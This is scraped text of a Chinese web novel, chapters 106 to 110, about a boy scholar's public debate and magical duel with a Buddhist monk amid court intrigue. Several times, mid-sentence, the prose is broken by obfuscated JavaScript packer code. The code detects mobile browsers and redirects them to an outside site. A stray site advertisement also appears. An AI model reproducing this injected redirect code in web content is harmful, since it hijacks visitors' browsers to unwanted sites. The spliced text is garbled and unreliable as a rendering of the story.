这是做好了十足准备,带着数百年来积攒的怨气和野心,就是要一举撕开大夏的口子,让佛法东传。 就算没有自己暗中推波助澜,这场论道也一定会发生。 而且,会以一种对儒家更不利的方式爆发。 既然大势难改,他所能做的,只不过顺势而为。 将这场注定要发生的斗法,提前引爆。 并且把战场,限制在对儒生最为有利的范围之内。 “此事,圣上知晓吗?” 柳拱闻言没好气地瞪了沈春芳一眼,反问道: “你这老匹夫,当老夫真有谋逆之心不成?” 一句话,让沈春芳彻底愣住。 是啊。 这等足以动摇国本的大事,若是没有圣上的首肯,柳拱就算有天大的胆子,也绝不敢擅自布局。 可沈春芳疑惑反而更深了。 “圣上既然知晓,为何还会同意让璘哥儿出战?” “她怎会把大夏的国运,压在一个尚未及冠的童生身上?” 这根本不符合他所认识的那个昭宁帝。 柳拱闻言,脸上露出笑容: “这就要归功于你师兄了。” “心学一脉虽然日渐式微,但你师兄的身份,想来你比我更清楚。” “他在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453155|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圣上面前还是有几分薄面的。” “至少比我这把老骨头 沈春芳这才若有所思地点了点头。 师兄王晋与大夏皇室之间确实有着外人不知的深厚渊源。 当年若非…… 只是当今圣上会是那种因为一份渊源就拿国运去赌的人吗? 沈春芳的脑海中浮现出那个高坐于龙椅之上威严深重的身影。 随即缓缓摇了摇头。 自己在朝堂沉浮多年从未有一刻敢小看过这位女帝。 她绝不像表面上看起来那么简单。 圣上这一步棋究竟是何用意? 与此同时 吏部尚书柳府所在的同一条街上相隔不过十几里外的宴府。 会同馆主事贾大人正小心翼翼地站在一道人影面前连呼吸都刻意放缓了。 片刻后那道人影缓缓转过身。 贾大人下意识地将头埋得更低了不敢直视。 灯光映照下一个看上去异常年轻约莫三十许面容俊秀下颌光洁无须一袭素白长袍的年轻人露出真容。 他手中正拿着一把小巧银剪慢条斯理地修剪着桌上的盆栽。 若是在外面见到不认识的人只会以为这是哪位养尊处优的王孙公子举手投足间皆是贵气。 谁也想不到眼前这位便是当今大夏一人之下万人之上权倾朝野的宴居宴首辅。 “吾非相乃摄也!” 贾大人的脑海里猛地闪过这句震动朝野的话。 那是圣上初登大宝意图亲政之时宴大人在朝堂之上当着文武百官的面对圣上说出的。 摄政之权与君共治。 这句话几乎是做到了天下读书人梦寐以求的极致是士大夫精神的最高典范。 只是权同人主的宴首辅宴大人为何会关注一个名不见经传的童生? 甚至连圣上都为了此人微服去会同馆。 这个卢璘到底是什么来头? 宴居修剪完最后一根枝丫放下了手中的银剪声音平淡: “你说圣上在共星堂时对那卢璘评价甚高?” 贾大人心里咯噔一声连忙躬身回道:“回禀首辅大人千真万确。” “可我得知的消息却是圣上回到紫宸殿后勃然大怒骂那卢璘是个无君无父的狂徒。” 第106章 开幕! 宴居仿佛在陈述一件微不足道的小事。 可听到贾大人耳朵里,不亚于晴天霹雳。 这种话,是我能听的吗? 紫宸殿是什么地方? 那是圣上处理私务的寝宫! 连圣上在紫宸殿的一举一动,一言一行,都逃不过宴大人的耳目? 宴大人为何要与我说这些? 是以为我骗了他? 贾大人只觉得双腿发软,背后冒出一层冷汗。 “首辅大人明鉴!” “下官所言,句句属实,当时共星堂内,除了下官,还有数名馆役在场,都可作证,下官万万不敢虚言啊!” 宴居闻言脸上露出笑意: “我当然知道你不会骗我。” “既然你没有骗我,那便是圣上在骗我了?” “明明对那卢璘看重得很,却要在我面前故作姿态,骂他无君无父。” “这番姿态,是做给我看的?” 说着,自顾自地轻笑一声: “看来,宫里头,是该换一批新的内侍了。” 这些问题,贾大人更加不敢回答了。 承认圣上在骗首辅大人,是死罪。 否认首辅大人的话,同样是死罪。 贾大人只觉如坐针毡,冷汗浸透了内衬,大气都不敢出。 他打心底里相信,以宴大人的权势,怕是明天就能听到宫里要换一批内侍的消息了。 好在宴居并不需要他的答案。 目光从贾大人身上移开,瞥向窗外。 而后,朝着身后摆了摆手。 一个再简单不过的动作,却让贾大人如蒙大赦。 恭恭敬敬地朝着宴居的背影行了一礼,**着走出书房。 直到关上房门,贾大人才长长地吐出一口气,袖子擦了擦额头的冷汗,一副如释重负的样子。 书房内,宴居缓缓走到书案前,提起一支紫毫笔,饱蘸浓墨。 宣纸铺开,笔尖落下。 “佛门” “卢璘” “昭宁” “心学” 四个词,静静地躺在纸上。 宴居的笔锋一顿,在卢璘两个字上,又画下了一个圈。 放下笔 后,宴居低声自语: “圣上,你的如意算盘,可没这么好打。 “卢璘,说到底也是个读书人。 “总不能,做出自绝于天下读书人的事吧。 目光重新落回纸上。 此刻的宴居眼神专注,深邃如渊。 没有风,没有火。 可那张纸,却浮现出一种诡异的暗红色。 紧接着,火焰凭空燃起,将宴居俊秀的面容映照得忽明忽暗。 纸张迅速卷曲,焦黑,最后化作一捧飞灰。 干干净净,不留半点痕迹。 三日后,天还未亮透。 李氏和卢厚便早早起了身,还特意换上了一身干净的衣服。 今日是璘哥儿和佛门斗法的日子,他们作为卢璘的爹娘要去观战,可不能丢了儿子的脸。 两人走出海晏居,来到会同馆门外。 馆外,一辆马车早已静候多时,车旁站着一名身穿钦天监官服的中年人。 这是王晋特意安排,来接卢璘爹娘去观战的人。 斗法的地点,在钦天监外广场,而钦天监主楼,便是最好的观战位置。 那人见到卢厚李氏,快步上前,躬身行礼,态度恭敬。 “二位请上车。 马车缓缓驶出,汇入京都清晨车流中。 随着马车行进,窗外的景象愈发繁华,人声也渐渐鼎沸。 就在马车即将抵达钦天监附近的一处街口时,车速却突然慢了下来,最终停住。 “大人,前面有人拦车。车夫的声音从外面传来。 车内的官员眉头一皱,正要探头出去查看。 一道身影已经走到了车窗旁。 卢厚和李氏下意识地望去,皆是一愣。 来人,正是前几日在共星堂遇见的那个年轻人。 “可否行个方便,带我一同去钦天监观战? 年轻人开目光越过官员,落在了卢厚与李氏身上,开口询问。 李氏心里咯噔一下。 想起了儿子说过的,对方可能是宫里的某位皇子。 李氏不敢擅自做主,目光投向了身旁的钦天监官员。 官员也认出了来人的不凡,再联想到临行前,监 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453156|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 副特意交代过要好生接待卢璘的家人不可有半点怠慢。 多一个人想来也无妨。 官员思忖片刻便点了点头。 “公子请。” 年轻人也不客气微微一笑便掀开车帘坐了进来。 马车内空间本就不大随着年轻人的进入空间越发狭小李氏和卢厚再加上年轻人三人把空间快要挤满了。 李氏想起对方身份生怕自己又说错什么话给儿子惹来天大的麻烦嘴巴闭得紧紧的一个字都不敢说。 卢厚性子本就沉默寡言此刻更是眼观鼻鼻观心。 还是年轻人先开了口打破了沉默: “二位是卢璘父母不知二位觉得令郎此战有几分把握?” 一提到儿子李氏紧绷的神经松了下来。 对璘哥儿的骄傲压过了对对方天潢贵胄身份的敬畏。 “我家璘哥儿那可厉害着呢!”说起璘哥儿李氏嗓门不自觉地高了几分脸上满是自豪。 “我们村里 “六岁就能作诗到柳府给人家少爷当个书童还能帮着主家赚钱!” “十二岁就能下场考秀才了要不是……” 说到这里李氏的话音戛然而止赶紧抬手捂住了嘴。 后面的话是她埋怨圣上当初误判了儿子的谋逆之罪害他错过了院试。 这话可万万不能在皇子面前说啊。 年轻人看着李氏这副模样眼底闪过笑意摆了摆手浑不在意地开口: “无妨。” “卢璘确实才华横溢。” “尤其是那一手字写得极好。” 李氏一听对方夸自己儿子劲头更足了话匣子又打开了: “那可不!” “我们家璘哥儿从蒙学开始每天卯时就起来练字寒冬酷暑一天都没落下过。” “有时候我瞧着都心疼。” “就连他夫子都亲口说在书法这门学问上璘哥儿早就超过他了。” 李氏生怕对方不知道自家儿子夫子的厉害又补充了一句。 “璘哥儿的夫子您可能不知道那可是当过大官的人咧!” 年轻人闻言淡淡点头。 沈春芳嘛。 怎么会不知道。 他那个官还是自己亲手撸下去的呢。 第107章 斗法盛况 马车再次缓缓前行,但没走多远,又停了下来。 这一次,不是有人拦车。 而是前方的人潮,已经密集到车马无法通行的地步。 一层又一层的声浪,隔着车壁传了进来,嗡嗡作响。 李氏被这阵仗惊到了,掀开车帘一角,往外看了一眼,瞬间瞪大了眼睛。 “我的老天爷,怎么这么多人!” “比咱们清河县过大年的时候,还要热闹十倍!” 卢厚也探头看了一眼,被层层声浪给吓到了,但还是故作镇定地开口: “这可是京都,皇城根脚下,必须燥啊,咱们老家哪能比。” 他大致扫了一眼,光是自己看得到的,街上攒动的人头就有几千。 这还只是通往钦天监的一条街道而已,四面八方汇聚而来的人群,声势之大,可想而知。 两人这几天在京都,一直待在会同馆内,哪见过这个场面。 年轻人看着李氏和卢厚震惊的模样,开口解释道: “也不是一直这样。” “只是这次的事情闹得比较大,关注度很高。” “之前上场的大夏读书人,都输得比较惨,朝廷这次对卢璘寄予厚望,因此提前做了不少宣传。” 李氏听到是在夸儿子,顿时又来了精神: “那可不!” “我在村里跟人斗嘴,可从来没输过!” “我生的儿子,那肯定像我啊!” 卢厚听得直摇头,年轻人也失笑。 村里妇人斗嘴,和这等关乎国朝颜面的论道,哪能相提并论。 钦天监的官员下了车,与守卫交涉后,便领着卢璘爹娘和年轻人,挤入人潮,往钦天监正门走去。 亮明身份后,一行人顺利进入,径直来到钦天监主楼之上。 一踏上顶楼的露台,李氏和卢厚才知道,这次的盛况究竟有多大。 放眼望去,以钦天监前方的巨大广场为中心,四面八方的街道上,全是黑压压的人头。 广场上搭起了许多凉棚,文官、武将、勋贵,井然有序又泾渭分明地坐在各自的区域内。 圣院的读书人,也占据了一大片位置。 最显眼的,莫过于正对着论道高台的 一座明黄色凉棚那是大夏皇室所在之处不少皇子皇孙、公主郡主都已落座。 李氏的眼睛一下子就被那座最大的明黄色凉棚吸引了。 她捅了捅身边的卢厚低声开口: “当家的你瞧 “也不知道圣上有几个公主要是我璘哥儿表现得好会不会有公主看上璘哥儿戏里不都这样演的吗?” 卢厚听得一脸无语: “璘哥儿才多大你就操这个心。” “再说了娶公主是什么好事吗?戏里的驸马一个个到最后不都**头了吗?” 李氏听完吓得脖子一缩赶紧闭上了嘴。 年轻人听着卢璘爹娘的对话心里忍不住笑出了声。 还真是可怜天下父母心啊。 这么早就开始给卢璘谋划成亲的事了。 按照大夏律男子十六女子十四为法定最低婚龄但实际平均年龄比这个要高一些更何况卢璘现在才十二岁还是太早了。 不过嘛真要是表现出彩为大夏读书人挣了脸面许配个公主又何妨? 与此同时钦天监广场。 正对着论道高台的最前方一座巨大的明黄色凉棚内。 凉棚下一张张案桌井然有序地排开。 案桌上摆满了时令瓜果与精致糕点大夏皇族宗室成员们端坐于各自的案后一个个锦衣华服神情肃穆正低声讨论着: “这卢璘究竟是什么来历?一个十二岁的童生竟要代表我大夏出战?” “听说是临安府的人前些日子还闹出了一桩谋逆案险些被问斩。” “什么?谋逆?如此大罪怎么还能站在这里?” “嘘小点声此事背后牵扯甚广听说晋阳党的人都折进去了。” “就算是冤枉的一个连秀才功名都没有的少年能胜得过佛门高僧?这不是儿戏吗?” 敢这么议论的都是大夏宗室身上留着皇室血脉的贵胄。 正中央那张最大的案桌旁气氛却有些安静。 昭宁帝身着一身明黄龙袍头戴十二旒冠冕面无表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宴居闻言,发出一声轻笑,把目光转向广场中央的斗法高台之上。 第108章 天地有正气 钦天监主楼 李氏还在叽叽喳喳地和年轻人闲聊个没停。 聊的话题什么都有,不过都是围绕着卢璘展开的。 接触这么久下来,李氏也慢慢熟络了,觉得这个皇子也没什么架子,挺好相处的。 李氏胆子又大了不少,想起了璘哥儿错过的院试,对年轻人开口询问道: “对了,公子,你说……要是我家璘哥儿赢了和尚,今年还能参加院试不?” 年轻人愣神了好一会,直到李氏又重复了一遍,才转过头,开口回答: “除非圣上另开恩科,否则,还是要等到明年的童试。” 李氏脸上的笑容顿时垮了下来。 “啊?还要等一年啊?” “平白无故又要耽误一年的时间。” “圣上也不知道咋想的,多开点那什么恩科怎么了,还不是为朝廷选拔人才吗?”李氏忍不住小声嘀咕起来。 卢厚在一旁听得心惊肉跳,连忙又瞪了李氏一眼。 “闭嘴吧你!又开始多嘴了!” “朝廷的政策,轮得到你来评价是吧!” 就在这时,一道熟悉的身影姗姗来迟,走上了露台。 “夫子!” 李氏和卢厚见到来人,脸上都露出了喜色。 “您怎么才来啊?” “璘哥儿呢?什么时候上场?” 来人正是沈春芳。 他先是朝着卢厚与李氏点了点头,算是打了招呼。 随后,目光落在了李氏身旁的那位年轻人身上,眉头微不可查的皱了一下。 此人是谁? 卢璘爹娘的底子沈春芳再清楚不过了,在京都并无亲戚,怎么会冒出一张生面孔? 而且不知为何,这年轻人总给他一种奇怪的感觉。 一种不真切,不融洽的疏离感。 明明就站在那里,总给沈春芳一种不切实际的感觉。 摇了摇头,沈春芳压下心头的疑惑,先是回答了李氏的问题: “璘哥儿差不多该登场了。” 说完,他的目光便转向了广场中央那座高耸的论道台。 卢厚和李氏闻言,也立刻紧张起来,顺着沈春芳的视线,齐齐望了过去。 钦天监广场之上高台巍峨。 日头渐升人声鼎沸无数双眼睛汇聚于此议论声一浪高过一浪。 而高台中央一名穿着月白僧袍的小沙弥始终闭目盘坐不动如山丝毫没有半点不耐烦。 忽然小沙弥眼睫微微一颤。 一直闭着的眼眸倏然睁开眸光清澈径直望向不远处的钦天监主楼。 “来了!”小沙弥嘴角微动吐出两个字。 …… 与此同时钦天监主楼之顶。 王晋负手而立衣袂飘飘口中忽然开始低声吟唱。 “一步青天万壑低长风送我过虹霓。” 诗句出口平地起风。 才气激发之下一股气浪以他为中心向着四周扩散开来。 “山河俯首称臣处已踏浮云最上梯。” 《踏歌行》一出。 不远处的卢璘一身青衫无风自动而后整个人缓缓升空一步步踏向青天。 万众瞩目之下卢璘身影升至半空而后身形一转面向论道高台。 人还未至声音先传了出来 “天地有正气杂然赋流形。” “下则为河岳上则为日星。” 浩然之音振聋发聩。 王晋看着卢璘化作一道青影朝着高台俯冲而去忍不住低声嘀咕: “这小子脑袋里也不知道装了些什么。” “非要搞这么个花里胡哨的登场也不怕风大闪了舌头。” 话虽如此嘴角却忍不住微微上扬。 “不过.这效果还真**不错。” “这首定场诗还真提气啊!” 此前大夏读书人连败的颓唐之气四句诗一出顿时一扫而空。 圣院所在的凉棚内一片死寂之后一位位读书人霍然起身望着半空中卢璘的身影一个个双目神采奕奕。 一名老儒生双目圆睁脸色涨红口中连道三个“好”字。 “这才是我大夏读书人该有的样子!” 另一名读书人指着高台上的佛门僧人口中不忿:“那群秃驴口口声声慈悲为怀可知我儒家亦有浩气长存!” “光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453158|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凭这开场四句,此战,已稳了一半!” “沈春芳沈春芳当真是大贤在野,竟能教出这等弟子!” 皇室所在的明黄色凉棚内。 宗室贵胄们更是一个个挺直了腰杆,脸上摆出一副与有荣焉自豪。 “好诗!” “我大夏统御百**疆土,钟灵毓秀,人才济济,岂是西域那等撮尔小国能比的!” “不错,当浮一大白!” 不远处,宴居端坐案后,原本淡然的脸上,第一次露出了意外的神色。 他抬起眼,眉头不自觉地挑了一下,看着那道飞向高台的青色身影,耳边依旧回荡着那四句诗。 御座之上,昭宁帝面前的十二道珠帘轻轻晃动。 一向古井无波的凤眸之中,第一次泛起了波澜。 感受着腰间悬挂的玉佩传来滚烫,昭宁帝心中满是震撼。 光凭一首诗,便能引动我大夏朝气运共鸣吗? 与此同时,钦天监主楼露台。 李氏已经完全看傻了,激动地伸出手指,指着半空中的身影,有些语无伦次: “那是我儿子!” “当家的你快看,那是咱们的璘哥儿!” 下一刻,李氏的骄傲又变成了担忧。 “他爹,你说璘哥儿在天上,他他会不会掉下来啊?” 卢厚愣愣的看着儿子飞在半空的样子,没有回答。 心中只有一个念头在反复回荡。 自己怎么就生出这么一个神仙般的儿子啊! 一旁的沈夫子老神在在地捋着长须,看着自己最得意的弟子,眼中满是欣慰。 万众瞩目之下。 一身青袍的卢璘飘飘然落在了高台之上。 双脚才刚刚站稳。 短暂的寂静之后,整个钦天监广场,被山呼海啸般的呐喊声彻底淹没。 无数百姓从座位上站起,振臂高呼。 “大夏必胜!” “大夏必胜!” 钦天监顶楼,王晋听着耳边接连不断的呼喊,嘴角露出笑容:稳了,民心可用! 这番高调入场,光在气势上就压过了佛门一头,也给京都百姓再一次灌注了信心。 第109章 以书明理 高台的范围大约一间私塾大小。 十丈开外,一直端坐的小沙弥,此刻已经睁开了双眼。 他目光清澈,没有半分被方才那浩然诗句所震慑,平静地注视着落在对面的卢璘。 这就是大夏派出的最后一人吗? 竟是如此年轻。 罗汉曾言,大夏人才济济,钟灵毓秀,读书人中更是卧虎藏龙,断不可因其表象而生轻视之心。 明嗔当然不会小看卢璘。 能被大夏朝廷寄予厚望,压轴出场,再加上方才那般登场方式,便足以说明此人绝非寻常之辈。 明嗔缓缓起身,双手合十,朝着卢璘微微躬身。 “贫僧明嗔,见过施主。” 卢璘立于风中,身形笔直如松,目光平静地回视着对方。 “清河卢璘。” 先是自报家门,紧接着,卢璘眉头一挑,顺着对方的法号开口: “明嗔?” “佛门讲‘戒定慧’,首戒‘嗔’‘痴’,你却以此为名,是自觉未断嗔念,还是师门有意警示?” “既然明知会犯嗔戒,何不回头是岸?” 此言一出,高台之下,无数观战者皆是一愣,随即爆发出阵阵低语。 “这卢璘果然不一样啊!” “确实有点东西,先声夺人,一上来就压着和尚。” 钦天监主楼之上,沈春芳眉头微皱,不知道卢璘此举何意。 而已经从顶楼上回到观战台的王晋,嘴角却勾起笑意。 这小子,果然没让他失望,一上来就直捣黄龙。 高台之上,明嗔听着卢璘这番话,心中了然。 一开口便不谈经义,不论文法,而是直指自己的法号,试图动摇他的佛心。 果然极具进攻性。 明嗔神色如常,再次双手合十,口诵佛号。 “阿弥陀佛。” “施主执着了。” “名相本是虚妄,‘明嗔’二字,不过是时刻提醒贫僧,见嗔是空,方为真清净。” 这小沙弥果然是有东西的,一番话说得滴水不漏,既化解了自己的诘难,又暗合佛法妙理。 卢璘闻言,发出一声冷哼。 他向前踏出一步,整个 人的气势愈发凌厉,目光紧紧盯着明嗔: “空相? “既知万法皆空,为何嘴上谈空,手上却染满鲜血? “尔等西来,在大夏境内枉造杀孽,可知有多少大夏百姓,因你们所谓的佛法而家破人亡! 卢璘一改以往谦谦君子的形象,摆足了进攻姿态,颇有一种只攻不防的味道。 没想到,明嗔听后脸上竟露出笑容。 此人还是太年轻了。 兜兜转转,终究还是回到了这场论道的正题之上。 明嗔缓缓垂下眼帘,摆出一副悲天悯人的模样: “大夏之乱,不在佛法。 “而在读书人! 钦天监主楼之上。 王晋眉头瞬间拧成了一个疙瘩。 这小子,怎么这么不经夸啊! 好了这么一会,又被这和尚三言两语牵着鼻子走了? 佛门这套说辞,之前就让好几位举人吃了大亏,核心便是将大夏的一切问题,归咎于儒生无能。 一旦顺着这个话头辩下去,就等于默认了对方的立论根基,无论怎么辩,都落了下乘。 旁边的沈春芳却一副若有所思样子。 圣院所在的凉棚内,则是一片死寂。 在场的读书人一个个面色凝重,如临大敌。 “又是这套说辞。 “之前李举人就是在这里,被佛门辩得哑口无言,当场道心崩溃。 “此论太过歹毒,直指我儒家根本,不知……不知卢璘要如何应对。 一道道担忧的目光,齐刷刷地望向高台的卢璘身上。 皇室宗亲所在的明黄色凉棚里,气氛却轻松不少。 皇亲贵胄们虽然也在认真听,但神色没那么凝重。 于他们而言,佛也好,儒也罢,都只是工具。 关键在于,大夏的江山,必须姓黎。 至于用哪个工具更顺手,全看它们各自的本事。 广场上数万百姓,此刻也屏住了呼吸。 同样的场景,他们已经见过太多次。 每一次,大夏派出的读书人,都是从这里开始,一步步走向溃败。 万众瞩目之下,高台上的明嗔,脸上悲悯之色更 甚。 “施主,自小僧入大夏三月以来,见闻颇多。” “京都之内,书生满街,可城南的水患,至今三月未平,灾民易子而食。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453159|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “县衙之中,讼案堆积如山,只因县令正忙于吟诗作对,流连于文会之间。” 说到这里,明嗔的目光直视卢璘,声音陡然拔高,如同洪钟大吕,振聋发聩。 “敢问施主,读了一肚子圣贤书,却治不了眼前之灾,救不了黎明百姓!” “要这学问,何用?” 此问一出,字字诛心。 把大夏最根本的矛盾,摆在台面上。 空谈之风盛行,实干之才寥寥。 这是所有儒生都无法回避的问题。 等明嗔说完,全场陷入一片死寂。 所有人都看向卢璘,期待他给出回答。 然而,出乎所有人意料。 卢璘只是静静地听着,甚至还时不时点头。 耐心的等明嗔说完后,卢璘这才露出笑容,开口道: “你看到的,都对。” “你说的,也都对。” 此言一出,满场哗然。 明嗔愣神之际,卢璘的声音再次响起,语气一转,锋芒毕露: “可那,不是真正的读书人。” “能背书的,只是书袋。” “能写诗赋的,只是墨客。” “能高谈阔论的,只是辩士。” “但读书人这三个字,不是会读书,就能担当得起的!” 话音落下,钦天监主楼之上,王晋再次由忧转喜。 “妙啊!” 这小子,先是划清界限,把那些无能官员,空谈书生,全都开除出了读书人的行列。 这么一来,无论和尚怎么攻击那些人的无能,都伤不到儒学的根本! 先一步,便立于不败之地了! 高台之上,明嗔的眉头紧皱。 卢璘没有反驳他的事实,而是直接釜底抽薪,否定了他的前提。 知道自己已经被迫跟着对方的节奏走了。 “那依施主之见,何为真正的读书人?” 全场再次安静下来,所有的目光,都聚焦在卢璘身上。 卢璘迎着所有人的目光,挺直了脊梁,声音如钟,响彻全场: “读书人,是‘以书明理,以身践道’之人!” “书读得再多,若无担当、无作为、无心系苍生之意” “那不过,是个识字的愚民罢了!” 全场,一片哗然。 第110章 一花一世界 圣院所在的凉棚内,瞬间沸腾。 在场的读书人被卢璘回答点燃了胸中的一团火,一个个神情振奋。 “这才是真正的读书人!” “以书明理,以身践道!” “我等皓首穷经,追求的不就是这个吗!” 众人眼含期待地看着高台上卢璘挺拔的身影,只觉得大夏文脉后继有人。 可短暂激动后,脸上又挂上了忧色。 “光靠嘴皮子,怕是还不够啊。” “是啊!斗法,斗法,没有斗,怎么能叫斗法。” “佛门那些手段,可不是光凭几句道理就能应付的。” …… 高台之上。 明嗔听完卢璘的回答,脸上悲天悯人的神情缓缓收敛。 这就是大夏读书人之道? 还是说只知诡辩,只会空谈。 和之前那几位舌灿莲花之人有何不同? 这些读书人,多的是表里不一,口是心非。 嘴上说一套,实际上干又是另一套。 于国何益?于民何益? 明嗔看着卢璘,嘴角勾起笑意: “施主之言,贫僧受教了。” “既然施主已经为我阐明了何为真正的读书人。” “那便请施主,践行你的读书人之道吧。” 话音刚落,明嗔缓缓从僧袍中,掏出了一只巴掌大小的金钵。 将金钵托在掌心,往空中轻轻一抛,口中念念有词。 金钵迎风见长,瞬间变得如同屋宇一般,金光灿烂,遮蔽了半个天空。 整个钦天监广场,都被笼罩在一片巨大的阴影之下。 而后,巨大的金钵带着万钧之势,重重地朝下一盖。 “轰!” 一声闷响,整个高台都为之一震。 卢璘的身影,被彻底盖在了金钵之内。 “来了!” “佛门的‘一花一世界’!” 广场上的人群中,爆发出阵阵惊呼。 之前与佛门斗法的几位大夏读书人,并非没有理论扎实、表现优异之辈。 可他们无一例外,都败在了这一招之下。 当真要践行自己所信奉的道时,他们都输了 。 卢璘只觉得眼前一花,刺目的强光让他下意识地闭上了双眼。 当他再次睁开眼时,眼前的世界已经完全变了样。 身处一间寂静的幽室。 四周一片黑暗,伸手不见五指,听不到任何声音。 就在这时,周围的黑暗突然亮了起来。 光幕之中,景象浮现。 竟然映照出卢璘前世的记忆。 高中之时,卢璘意气风发,却因恃才傲物,用刻薄言语将同学羞辱得无地自容,掩面而泣。 画面一转。 卢璘步入社会,酒桌上,为了一个项目,满脸堆笑地向投资人敬酒,违心的对对方粗鄙不堪言论连连附和,将自己曾经坚守的学术准则抛之脑后。 又一个画面亮起。 卢璘偶然发现自己的同事剽窃论文,心中愤慨,却在权衡利弊之后,选择了视若无睹,明哲保身。 一幕幕,都映照着前世。 甚至连前世未曾经历过的场景,此刻都一一具现。 一道低语,仿佛从灵魂深处响起,在卢璘耳边回荡。 “这就是读书人? “**子罢了。 庞大真实记忆,如同潮水般冲击着他的大脑,卢璘猛地闭上了双眼,面露痛苦之色。 金钵之外,高台之上。 巨大的金色穹顶表面,清晰地映照出卢璘的身影。 只见卢璘紧闭双眼,眉头紧锁,脸上满是痛苦之色。 这副模样,被广场上的数万百姓看得清清楚楚。 “卢公子他怎么了?看起来好痛苦啊! “难道.难道连他也要输了吗? 百姓们刚刚点燃的希望,见到卢璘这个表现,转眼又沉到了谷底。 圣院所在的凉棚内。 一名老儒生长长地叹了口气,面色沉重: “这一花一世界,乃是佛门幻术的至高境界,能映照本心,演化真实。 “被困于其中的人,所经历的一切,都源于自身的记忆与执念。 “所做的每一个选择,都必须遵循本心,无法作伪。 “这一关,考验的不是学问,而是道心! 皇室所在的明黄色凉棚内。 昭宁帝微微前倾着身子,隔着珠帘,目光灼灼地看着卢璘。 卢璘,你会怎么做? 钦天监主楼观战台上。 李氏看到儿子痛苦的模样,心疼的眼泪都快掉下来了。 “璘哥儿! “他爹,璘哥儿他不会有事吧! 卢厚更是一脸凝重,半响说不出一句话。 一旁的王晋却显得很平静,开口解释道: “璘哥儿他娘,别担心,那只是佛门神通,演化出世界,一段经历罢了,不会伤害到璘哥儿的。 不同于其他人的担忧,王晋的脸上没有丝毫忧色,反而带着几分笃定。 “这一关,对旁人或许是难于登天,但对璘哥儿而言, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453160|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却算不得什么。 “璘哥儿年纪尚小,从未经历过官场倾轧,也未曾被世俗污染,可以说,还怀着一颗赤子之心。 “这‘一花一世界’,映照的是过往的缺憾与悔恨。 “他一个十二岁的孩子,能有什么悔恨?这一关,对他来说,反而是最容易过的。 听着王晋的解释,李氏和卢厚的心稍稍安定了一些。 可一旁的沈春芳,眉头却皱得更深了。 看着金钵上卢璘那痛苦不堪的神情,心中升起一股强烈的不安。 “师兄所言极是 “可既然如此,璘哥儿为何会如此痛苦? 说更新,记住域名caixs?(请来才小 说 看最新章节 完整章节) 王晋闻言微微发愣。 是啊!璘哥儿不过十二岁,心性再如何早熟,又哪来的什么过往,足以让他的道心动摇至此? 金钵之内,幽暗无光。 一幕幕前世的画面,还在反复折磨着卢璘。 那些被刻意遗忘的,被深埋心底的,不堪回首的过往,此刻被尽数挖出。 羞辱同学时的刻薄。 谄媚客户时的丑态。 明哲保身时的懦弱。 每一个画面,都是对他此刻所言读书人之道的讽刺。 耳边的低语,愈发清晰,满是嘲弄的味道。 “果然最虚伪的就是读书人,你们就是一群彻头彻尾的**子! 卢璘全身都在颤抖,脸色也愈发苍白。 看得金钵外的众人更加揪心。 可就在众人之心悬于一线之际。 